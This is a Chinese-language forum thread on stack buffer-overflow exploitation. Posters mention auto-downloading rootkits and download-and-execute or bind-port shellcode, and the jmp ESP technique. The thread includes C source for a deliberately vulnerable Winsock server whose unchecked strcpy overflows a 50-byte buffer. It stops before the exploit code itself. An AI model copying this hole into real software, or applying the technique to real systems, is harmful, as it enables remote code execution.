我还准备写个自动下载rootkit并运行的呢。哈哈
想想也没什么意义，所以就没做了。
楼主弄个所有语言通用的shellcode来吧,自动bindport或者download & execute的 ：）
这个很简单的
在jmp ESP后面加上shellcode 就可以了
你要的 shellcode 我都有
但是所有语言通用就比较麻烦了
我现在例子里提示的就只有2000/XP sp1/2003通用不过XP SP2有溢出保护很难利用了
附上相关shellcode和我写的一个例子
一个有问题的server

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];//没有限制输入字符的数量溢出点在此
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD,clientFD;
int ret;
//char asd[2048];
struct sockaddr_in ser;
int iAddrSize = sizeof(ser);
unsigned long lBytesRead;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ser.sin_family = AF_INET;
ser.sin_port = htons(3746);
ser.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(struct sockaddr *)&ser,sizeof(ser));
ret=listen(listenFD,2);
clientFD=accept(listenFD,(struct sockaddr *)&ser,&iAddrSize);
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
利用漏洞的的溢出程序
